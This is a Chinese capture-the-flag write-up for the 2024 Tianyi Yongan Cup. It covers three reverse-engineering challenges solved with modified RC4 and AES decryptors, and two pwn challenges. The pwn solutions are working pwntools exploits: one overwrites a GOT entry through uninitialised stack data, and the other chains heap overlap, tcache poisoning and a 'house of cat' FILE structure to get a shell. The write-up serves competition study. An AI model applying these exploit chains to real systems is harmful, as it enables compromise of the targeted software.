2024天一永安杯

本文最后更新于:2024年5月7日 下午

reverse

ezre

现在定义key为加密明文的密钥,key1为加密key的密钥
程序首先使用key1作为密钥对key进行了标准rc4加密
然后使用加密后的key作为密钥对明文进行了魔改rc4加密,仅仅是将对明文加密时的异或改成了减法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include<stdio.h>
#include<stdlib.h>
#define __int64 long long int
#define __int8 char
#define _BYTE unsigned char

void init(__int64 a1, __int64 a2, unsigned __int64 a3)
{
char v4; // [rsp+23h] [rbp-41Dh]
int i; // [rsp+24h] [rbp-41Ch]
int v6; // [rsp+28h] [rbp-418h]
int j; // [rsp+2Ch] [rbp-414h]
int v8[258]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v9; // [rsp+438h] [rbp-8h]

memset(v8, 0, 0x400uLL);
for ( i = 0; i <= 255; ++i )
{
*(_BYTE *)(i + a1) = i;
v8[i] = *(unsigned __int8 *)(i % a3 + a2);
}
v6 = 0;
for ( j = 0; j <= 255; ++j )
{
v6 = (v8[j] + v6 + *(unsigned __int8 *)(j + a1)) % 256;
v4 = *(_BYTE *)(j + a1);
*(_BYTE *)(j + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(a1 + v6) = v4;
}
}

__int64 crypt1(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 result; // rax
char v4; // [rsp+27h] [rbp-11h]
int v5; // [rsp+28h] [rbp-10h]
int v6; // [rsp+2Ch] [rbp-Ch]
int i; // [rsp+30h] [rbp-8h]

v5 = 0;
v6 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( a3 <= i )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
v4 = *(_BYTE *)(v5 + a1);
*(_BYTE *)(v5 + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(a1 + v6) = v4;
*(_BYTE *)(i + a2) ^= *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v5 + a1) + *(_BYTE *)(v6 + a1)) + a1);
}
return result;
}
__int64 crypt2(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 result; // rax
char v4; // [rsp+27h] [rbp-11h]
int v5; // [rsp+28h] [rbp-10h]
int v6; // [rsp+2Ch] [rbp-Ch]
int i; // [rsp+30h] [rbp-8h]

v5 = 0;
v6 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( a3 <= i )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
v4 = *(_BYTE *)(v5 + a1);
*(_BYTE *)(v5 + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(a1 + v6) = v4;
*(_BYTE *)(i + a2) += *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v5 + a1) + *(_BYTE *)(v6 + a1)) + a1);
}
return result;
}

unsigned char cipher[32] = {
0x4E, 0x47, 0x38, 0x47, 0x62, 0x0A, 0x79, 0x6A, 0x03, 0x66, 0xC0, 0x69, 0x8D, 0x1C, 0x84, 0x0F,
0x54, 0x4A, 0x3B, 0x08, 0xE3, 0x30, 0x4F, 0xB9, 0x6C, 0xAB, 0x36, 0x24, 0x52, 0x81, 0xCF, 0x00
};

void main(){
char *s=malloc(0x500);
char key1[]="keykey";
char key2[]="ban_debug!";
init(s,key1,strlen(key1));
crypt1(s,key2,strlen(key2));
init(s,key2,strlen(key2));
crypt2(s,cipher,strlen(cipher));
printf("%s\n",cipher);
}

re1

首先需要对程序进行手动脱壳
一种解法是脱壳之后找到输入点,然后进行动态调试,在输入点之后设置断点
然后使用几次步过之后会碰到一个函数0x4016ab,第一个参数为Th1s_1s_Re@lly_k3y,这时在内存空间查看第二个参数,继续使用步过,当函数执行结束时内存空间中查看的数据就会变成flag
根据第一种解法我们知道了0x4016ab是用来解密flag的,通过逆向得知0x4016ab是魔改过的rc4,仅仅是将表的大小从256改为了128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
unsigned char qword_408040[1024];
#define __int64 long long int
#define __int8 char
#define _BYTE unsigned char
size_t __fastcall init(const char *a1)
{
size_t result; // rax
char v2; // [rsp+20h] [rbp-60h]
unsigned int v3; // [rsp+24h] [rbp-5Ch]
int v4; // [rsp+28h] [rbp-58h]
unsigned int i; // [rsp+2Ch] [rbp-54h]
unsigned int j; // [rsp+2Ch] [rbp-54h]

for ( i = 0; i <= 0x7F; ++i )
qword_408040[i] = i;
v3 = 0;
result = 0;
v4 = 0;
for ( j = 0; j <= 0x7F; ++j )
{
v2 = qword_408040[j];
v4 = ((_BYTE)v4 + v2 + a1[v3]) & 0x7F;
qword_408040[j] = qword_408040[v4];
qword_408040[v4] = v2;
++v3;
result = strlen(a1);
if ( v3 >= result )
v3 = 0;
}
return result;
}

size_t cipher(__int64 a1, char *a2)
{
size_t result; // rax
char v3; // [rsp+30h] [rbp-50h]
int v4; // [rsp+34h] [rbp-4Ch]
int v5; // [rsp+38h] [rbp-48h]
int i; // [rsp+3Ch] [rbp-44h]
init(a1);
v4 = 0;
v5 = 0;
for ( i = 0; ; ++i )
{
result = strlen(a2);
if ( i >= result )
break;
v5 = (v5 + 1) % 128;
v4 = ((unsigned __int8)qword_408040[v5] + v4) % 128;
v3 = qword_408040[v5];
qword_408040[v5] = qword_408040[v4];
qword_408040[v4] = v3;
a2[i] ^= qword_408040[(qword_408040[v5] + qword_408040[v4]) & 0x7F];
}
return result;
}
char data[]={42,35, 69, 104, 85, 10, 60, 34, 61, 57, 35, 119, 114, 50, 124, 92, 117, 65, 27, 87, 123, 112, 19, 79, 5, 51, 28,0};

void main(){
cipher("Th1s_1s_Re@lly_k3y",data);
printf("%s\n",data);
}

re2

程序虽然控制流比较多,但勉强还能看懂,程序对输入的数据进行了魔改aes加密
魔改了aess_box,所以解密只需要根据s_box推出d_box就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
class aes:
Round_num=10
S_Box=[0x65, 0x88, 0x7A, 0x86, 0x0C, 0x36, 0x3C, 0xD9, 0x78, 0xF4, 0x72, 0x01, 0x5F, 0xFD, 0xFA, 0x58, 0xD4, 0x9D, 0x92, 0xB7, 0xF7, 0xBC, 0xCA, 0xD3, 0x9F, 0x0F, 0xEF, 0x20, 0xAF, 0x6E, 0xE4, 0x35, 0x8C, 0xBF, 0xCF, 0xE9, 0x57, 0xB9, 0xDE, 0xA3, 0x3F, 0x54, 0xC2, 0x43, 0xD1, 0xA0, 0x0E, 0xDC, 0x85, 0x8B, 0x97, 0x96, 0x93, 0x16, 0x2A, 0x27, 0xA7, 0x9A, 0xB8, 0x70, 0xC5, 0x59, 0x65, 0x47, 0xE1, 0xE7, 0xB3, 0x69, 0x4E, 0xAA, 0x7F, 0x0B, 0xAB, 0x8F, 0xCD, 0xB5, 0x3B, 0x98, 0x83, 0xBE, 0x5B, 0x6F, 0xB0, 0xDF, 0x15, 0x26, 0x04, 0x07, 0xC0, 0x12, 0xF6, 0xA5, 0xEC, 0xC1, 0xE8, 0x99, 0xC7, 0x91, 0xF8, 0x37, 0xF5, 0x45, 0xD2, 0x17, 0xF9, 0x18, 0x75, 0x02, 0xD7, 0x40, 0xE5, 0xCB, 0xF2, 0x42, 0xFC, 0x77, 0x44, 0xC6, 0x34, 0x60, 0x6A, 0x41, 0x6B, 0xFB, 0x63, 0x19, 0x6C, 0x4A, 0x14, 0xBB, 0x39, 0x8D, 0x80, 0xED, 0xD8, 0x28, 0x5D, 0xB1, 0x1D, 0x5A, 0x3D, 0xCC, 0x7C, 0x4C, 0x74, 0x06, 0xE2, 0x66, 0x10, 0x9B, 0x90, 0x13, 0x89, 0x2F, 0xF1, 0x48, 0x21, 0xD6, 0x25, 0x30, 0x3A, 0xA4, 0x8A, 0x0D, 0x52, 0x8E, 0x62, 0x1C, 0xF0, 0xE3, 0xB4, 0x73, 0x50, 0x2B, 0x79, 0xAC, 0x1A, 0x23, 0xDD, 0x9C, 0xA2, 0x82, 0x9E, 0x51, 0x1B, 0xEB, 0x67, 0x3E, 0x71, 0x03, 0xBD, 0xFF, 0xAD, 0x22, 0xB2, 0x1E, 0x81, 0x49, 0xA8, 0x4F, 0x61, 0xA6, 0x38, 0xDB, 0xC8, 0x33, 0x0A, 0x29, 0xEA, 0x05, 0x94, 0xFE, 0x2C, 0xEE, 0x2D, 0x5C, 0x5E, 0x7B, 0x87, 0x55, 0x11, 0x4D, 0x56, 0x09, 0xCE, 0x46, 0x2E, 0xD0, 0x31, 0x24, 0x1F, 0xA1, 0xAE, 0xA9, 0xD5, 0x53, 0xE0, 0x08, 0xC9, 0x7E, 0xE6, 0x84, 0x64, 0x76, 0xBA, 0xF3, 0xDA, 0x32, 0xC4, 0x4B, 0x7D, 0xC3, 0x68, 0x95, 0x6D, 0xB6]
Rcon=[0x01, 0x02,
0x04, 0x08,
0x10, 0x20,
0x40, 0x80,
0x1b, 0x36]
En_Status=[[2,3,1,1],
[1,2,3,1],
[1,1,2,3],
[3,1,1,2]]
De_Status=[[0x0E, 0x0B, 0x0D, 0x09],
[0x09, 0x0E, 0x0B, 0x0D],
[0x0D, 0x09, 0x0E, 0x0B],
[0x0B, 0x0D, 0x09, 0x0E]]

def __init__(self,Key):
self.D_Box=[0]*256
for i,v in enumerate(self.S_Box):
self.D_Box[v]=i
self.Round_num=10
self.Key=Key
pass
def Rot_Word(self,Raw_data,Rot_Num=1):
Raw_len=len(Raw_data)
New_data=[]
i=Rot_Num
New_len=0
while New_len<Raw_len:
New_data.append(Raw_data[i%Raw_len])
i=i+1
New_len+=1
return New_data
def SubBytes(self,Raw_data,Box):
New_data=[]
for i in Raw_data:
New_Row=[]
for j in i:
New_Row.append(Box[j])
New_data.append(New_Row)
return New_data
def T(self,Raw_data,Round_N):
New_data=self.SubBytes([self.Rot_Word(Raw_data)],self.S_Box)[0]
New_data[0]^=self.Rcon[Round_N]
return New_data
def ExtentKey(self,Key_data : list):
Ext_Key=Key_data.copy()
i=len(Key_data)
Step=4
while i<self.Round_num*4+4:
New_k=[]
if i%Step != 0:
for j,v in enumerate(Ext_Key[i-Step]):
New_k.append(Ext_Key[i-1][j]^v)
else:
T_Key=self.T(Ext_Key[i-1],i//Step-1)
for j,v in enumerate(Ext_Key[i-Step]):
New_k.append(T_Key[j]^v)
Ext_Key.append(New_k)
i+=1
return Ext_Key
def ShiftRow(self,Row_data,dire=True):
New_data=[]
Row_len=len(Row_data)
Col_len=len(Row_data[0])
i=0
while i<Row_len:
New_data.append([])
j=0
while j<Col_len:
if dire:
New_data[i].append(Row_data[ (j+i)%Row_len ][j])
else:
New_data[i].append(Row_data[ (Row_len-j+i)%Row_len ][ j ] )
j+=1
i+=1
return New_data
def Safe_Out2(self,Raw_data):
Result=Raw_data
Result=Result*2
if Result>=0x100:
Result=(Result&0xff)^0x1b
return Result
def Safe_Out4(self,Raw_data):
return self.Safe_Out2(self.Safe_Out2(Raw_data))
def Safe_Out8(self,Raw_data):
return self.Safe_Out4(self.Safe_Out2(Raw_data))
def Safe_Mix(self,Raw_data,Num):
Result=Raw_data
if Num==3:
Result=self.Safe_Out2(Result)^Raw_data
elif Num==2:
Result=self.Safe_Out2(Result)
elif Num==9:
Result=self.Safe_Out8(Result)^Raw_data
elif Num==11:
Result=self.Safe_Out8(Result)^self.Safe_Out2(Result)^Raw_data
elif Num==13:
Result=self.Safe_Out8(Result)^self.Safe_Out4(Result)^Raw_data
elif Num==14:
Result=self.Safe_Out8(Result)^self.Safe_Out4(Result)^self.Safe_Out2(Result)
return Result
def Column_Mix(self,Row_data,Mul_Mat):
New_data=[]
for i in Row_data:
New_Row=[0,0,0,0]
for j,v in enumerate(i):
New_Row[0]^=self.Safe_Mix(v,Mul_Mat[0][j])
New_Row[1]^=self.Safe_Mix(v,Mul_Mat[1][j])
New_Row[2]^=self.Safe_Mix(v,Mul_Mat[2][j])
New_Row[3]^=self.Safe_Mix(v,Mul_Mat[3][j])
New_data.append(New_Row)
return New_data
def xorMat(self,Data_Mat,Key_Mat):
New_Mat=[]
for i,v in enumerate(Data_Mat):
New_Row=[]
for j,v1 in enumerate(Data_Mat[i]):
New_Row.append(v1^Key_Mat[i][j])
New_Mat.append(New_Row)
return New_Mat
def toMatrix(self,data,Mat_W=4,Mat_H=4):
Matrixs=[]
w_i=0
h_i=0
Matrix=[]
Matrix_Row=[]
for i in data:
Matrix_Row.append(i)
w_i+=1
if w_i >= Mat_W:
Matrix.append(Matrix_Row)
Matrix_Row=[]
w_i=0
h_i+=1
if h_i>=Mat_H:
Matrixs.append(Matrix)
h_i=0
return Matrixs
def toList(self,Raw_Mat):
Out_data=[]
for i in Raw_Mat:
for j in i:
Out_data.append(j)
return Out_data
def decrypt(self,Raw_data):
Key_Mat=self.toMatrix(self.Key)[0]
Exten_K=self.ExtentKey(Key_Mat)
Key_Mat=Exten_K[self.Round_num*4:self.Round_num*4+4]
Plain=[]
This_data=0
De_len=len(Raw_data)
while This_data < De_len:
T_de_data=self.toMatrix(Raw_data[This_data:This_data+16])[0]
T_de_data=self.xorMat(T_de_data,Key_Mat)
This_Round=0
This_Key=self.Round_num*4-4
while This_Round < self.Round_num:
T_Key=Exten_K[This_Key:This_Key+4]
T_de_data=self.SubBytes(T_de_data,self.D_Box)
T_de_data=self.ShiftRow(T_de_data,dire=False)
if This_Round!=self.Round_num-1:
T_de_data=self.Column_Mix(T_de_data,self.De_Status)
T_Key=self.Column_Mix(T_Key,self.De_Status)
T_de_data=self.xorMat(T_de_data,T_Key)
This_Key-=4
This_Round+=1
Plain=Plain+self.toList(T_de_data)
This_data+=16
return bytes(Plain)

key=b'Th3_K4y_R3vers3!'
a=aes(key)
b=bytes([0x5A, 0xC0, 0x94, 0x69, 0x5C, 0x42, 0xFA, 0xCD, 0x49, 0x93, 0x60, 0xEE, 0x6E, 0x14, 0x87, 0x3F])
print(a.decrypt(b))

pwn

pwn1

main伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-10h] [ebp-20h]
int v5; // [esp-Ch] [ebp-1Ch]
int v6[2]; // [esp+0h] [ebp-10h] BYREF
int *p_argc; // [esp+8h] [ebp-8h]

p_argc = &argc;
v6[1] = __readgsdword(0x14u);
setbufs();
puts("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.");
puts("1.JUST OPEN IT!");
puts("2.EXIT");
__isoc99_scanf("%d", v6, v4, v5);
if ( v6[0] == 1 )
{
begin(p_argc);
check();
puts("Here is something you like.");
}
return 0;
}

begin伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int begin()
{
int v1; // [esp-8h] [ebp-80h]
int v2; // [esp-4h] [ebp-7Ch]
char v3[108]; // [esp+0h] [ebp-78h] BYREF
unsigned int v4; // [esp+6Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
printf("Show me your name : ");
__isoc99_scanf("%108s", v3, v1, v2);
printf("Welcome %s! :P\n", v3);
return __readgsdword(0x14u) ^ v4;
}

check伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int check()
{
int v1; // [esp-8h] [ebp-20h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
int v4; // [esp-4h] [ebp-1Ch]
int v5; // [esp+8h] [ebp-10h]
int v6; // [esp+Ch] [ebp-Ch]

printf("Now try the First password : ");
__isoc99_scanf("%d", v5, v1, v3);
fflush(stdin);
printf("Now try the Second password : ");
__isoc99_scanf("%d", v6, v2, v4);
puts("Let me think......");
if ( v5 != 338150 || v6 != 13371337 )
{
puts("You Failed! Try again.");
exit(0);
}
puts("OMG!YOU SUCCESS!");
return system("/bin/cat flag");
}

思路

ida的伪代码存在一定的误导性,初看代码以为是利用栈未初始化,控制变量的值绕过判断,再看才知道是利用栈未初始化,实现任意地址写

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
e=ELF("Wal1et")

p=process('Wal1et')
p.sendlineafter('EXIT','1')
data1=e.bss(0x200)
data2=e.bss(0x200)
exit_=e.got['puts']
print(hex(exit_))
backdoor=0x804872d
p.sendlineafter("name",b'a'*0x68+p32(exit_))
p.sendlineafter('password',str(backdoor))
p.sendlineafter('password','-')
p.interactive()

pwn2

main伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
menu();
switch ( (unsigned int)getint() )
{
case 1u:
add();
break;
case 2u:
delete();
break;
case 3u:
show();
break;
case 4u:
backdoor();
break;
case 5u:
exit(0);
default:
malloc(0x1000uLL);
break;
}
}
}

add伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 add()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
if ( !ptr )
{
sub_12EB("1: small 2:big");
if ( (unsigned int)getint() == 1 )
{
ptr = malloc(0x10uLL);
read(0, ptr, 0x20uLL);
}
else
{
ptr = malloc(0x50uLL);
read(0, ptr, 0xF0uLL);
}
}
return v1 - __readfsqword(0x28u);
}

delete伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 delete()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
if ( ptr )
{
free(ptr);
ptr = 0LL;
}
else
{
sub_12EB("wrong");
}
return v1 - __readfsqword(0x28u);
}

show伪代码

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 show()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
if ( ptr )
sub_12EB(ptr);
else
sub_12EB("wrong");
return v1 - __readfsqword(0x28u);
}

backdoor伪代码

1
2
3
4
5
6
7
8
unsigned __int64 backdoor()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
malloc(16uLL);
return v1 - __readfsqword(0x28u);
}

思路

当使用模式1创建chunk时,只能修改下一个chunk的size
当使用模式2创建chunk时,允许溢出0x98个字节
所以当想要获取数据时先创建模式1,后创建模式2,方便后续清理bins
可以利用default代码中申请的0x1010大小的chunk,方便我们将chunk放入unsorted bin

利用过程
  1. 主要利用部分是先创建模式2,后创建模式1,利用模式2chunk,使模式1创建的chunkdefault创建的chunk合并,这样可以在unsorted bin中放置一个模式1大小的chunk
  2. unsorted bin中放好chunk之后,利用模式2chunk构造payload使模式2中的fake chunk与(模式1default融合之后的chunk)合并
  3. 这时再次利用模式2将合并之后的fake chunksize修改为0x20,这时unsorted bin中就存在两个0x20大小的chunk,并且tcache bin中不存在0x20大小的chunk
  4. 这时再申请一个模式1chunk,这个chunk就是我们的fake chunk,并且我们之前放在unsorted bin中的chunk会放进tcache bin
  5. 这样就可以实现任意地址读写一次,我选择修改_IO_libc_all指向我在堆中构造好的house of catpayload
  6. 这个时候只要执行exit函数就可以获取shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from pwn import *
import time
def add(code,data=b'\n'):
p.sendlineafter(b'show\n',b'1')
p.sendlineafter(b'bi',str(code).encode())
time.sleep(0.5) # 参数根据实际情况修改,或使用pause
#pause()
p.sendafter('g',data)

def free():
p.sendlineafter(b'show\n',b'2')

def show():
p.sendlineafter(b'show\n',b'3')

def alloc():
p.sendlineafter(b'show\n',b'4')

def calc(data):
mark=0xfff000000000
data1=data&mark
result=0
result|=data1
for i in range(3):
data1=((data1>>12)^data)&(mark>>12)
result|=data1
mark=mark>>12
return result

p=process('./pwn')
libc=ELF("./libc.so.6")
info("get info start")

add(1)
free()
add(2)
free()
add(1,p64(0)*3+p64(0x1071))
p.sendlineafter(b'show\n',b'123')
alloc()
alloc()
alloc()
alloc()

free()
add(2)
free()

add(2,b'a')
show()
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
libc.address=d-0x21b361
success(f"libcbase=0x{libc.address:x}")
system=libc.sym['system']
wfile_jump=libc.sym['_IO_wfile_jumps']

free()
add(1,b'a'*0x18+p64(0x21))
free()
add(2)
free()
add(1)
show()
d=u64(p.readuntil(b'\n1:',drop=1).ljust(8,b'\x00'))
heap=calc(d)&(~0xfff)
chunk1=heap+0x290
chunk2=chunk1+0x60
success(f"heap_addr=0x{heap:x}")
free()

p.sendlineafter(b'show\n',b'123')
alloc()
alloc()
info("get info end")



info("make house of cat start")
fake_io_add=heap+0x13e0
fake_io=p64(0x2020202020202020)+p64(0x68732f6e69622f)+\
p64(system)+p64(system)+\
p64(0)+p64(1)+p64(0)+\
p64(0)+p64(0)

fake_io2=p64(0)+p64(0)+p64(0)*3+\
p64(wfile_jump)+\
p64(0)+p64(fake_io_add-0x50)

wide_file=fake_io_add+0x8


add(1)
free()
add(2)
free()
add(1,b'\x00'*0x18+p64(0x21))
alloc()
alloc()
free()
add(2,b'\x00'*0x10+fake_io)
free()
alloc()
alloc()

add(1)
free()
add(2)
free()
add(1,b'\x00'*0x10+p64(wide_file)+p64(0x21))
alloc()
alloc()
free()
add(2,fake_io2)
free()
alloc()
alloc()

info("make house of cat end")

info("manage tcache bin")
add(2)
free()
add(1)
p.sendlineafter(b'show\n',b'123')
alloc()
alloc()
alloc()
alloc()
alloc()
alloc()
alloc()
alloc()
alloc()
free()

chunk_=heap+0x1530

add(2,b'a'*0x58+p64(0x1011+0x20+0x80))
free()
add(1)
free()
add(1)
alloc()
alloc()
p.sendlineafter(b'show\n',b'123')
p.sendlineafter(b'show\n',b'123')
free()
payload=p64(0)*6+p64(chunk_+0x30)+p64(0x21)+p64(chunk_+0x30-0x18)+p64(chunk_+0x30-0x10)+p64(0x20)+p64(0x1030)
add(2,payload)
free()
add(1)
alloc()
free()

unsorted_bin=libc.address+0x21ace0
chunk_1=heap+0x2610
add(2,p64(0)*6+p64(0)+p64(0x21)+p64(chunk_1)+p64(unsorted_bin)+p64(0x20)+p64(0x20))
free()
add(1)
free()
info("manage tcache bin ok")

target=libc.sym['_IO_list_all']
chunk_2=heap+0x1570
payload=p64(0)*7+p64(0x21)+p64(target^(chunk_2>>12))
add(2,payload)
alloc()
free()
add(1,p64(fake_io_add))

p.sendlineafter(b'show\n',b'5')
p.interactive()

2024天一永安杯
https://rot-will.github.io/page/wp/2024天一永安杯初赛/
作者
rot_will
发布于
2024年5月5日
更新于
2024年5月7日
许可协议